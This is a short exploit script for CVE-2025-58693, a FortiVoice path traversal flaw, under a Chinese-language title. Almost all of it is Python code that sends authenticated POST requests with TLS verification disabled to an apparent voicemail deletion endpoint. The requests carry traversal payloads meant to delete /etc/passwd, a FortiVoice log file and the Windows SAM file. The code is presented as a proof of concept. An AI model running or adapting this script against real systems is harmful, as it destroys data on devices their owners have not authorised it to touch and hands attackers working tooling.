CVE-2025-58693 FortiVoice路径遍历漏洞允许删除任意文件

import requests import urllib3 urllib3.disable_warnings() # CVE-2025-58693 PoC - FortiVoice Path Traversal File Deletion # Target: FortiVoice < 7.2.3 or < 7.0.8 target_url = "https://target-fortivoice.local:443" # Authentication headers (requires high privilege account) auth_headers = { "Authorization": "Bearer YOUR_ADMIN_TOKEN", "Content-Type": "application/json" } # Path traversal payload to delete arbitrary file # The vulnerability allows deleting files outside the intended directory path_traversal_payloads = [ "../../../etc/passwd", "../../../var/log/fortivoice.log", "..\..\..\windows\system32\config\sam" ] def exploit(target, payload): """Send malicious request to delete arbitrary file""" endpoint = f"{target}/api/v2/ucm/voicemail/delete" params = { "file_path": payload, "force": "true" } try: response = requests.post( endpoint, headers=auth_headers, params=params, verify=False, timeout=30 ) print(f"[*] Payload: {payload}") print(f"[*] Status: {response.status_code}") print(f"[*] Response: {response.text}\n") return response.status_code == 200 except Exception as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": print("[*] CVE-2025-58693 PoC - FortiVoice Path Traversal") print("[*] Requires high privilege authentication\n") for payload in path_traversal_payloads: exploit(target_url, payload)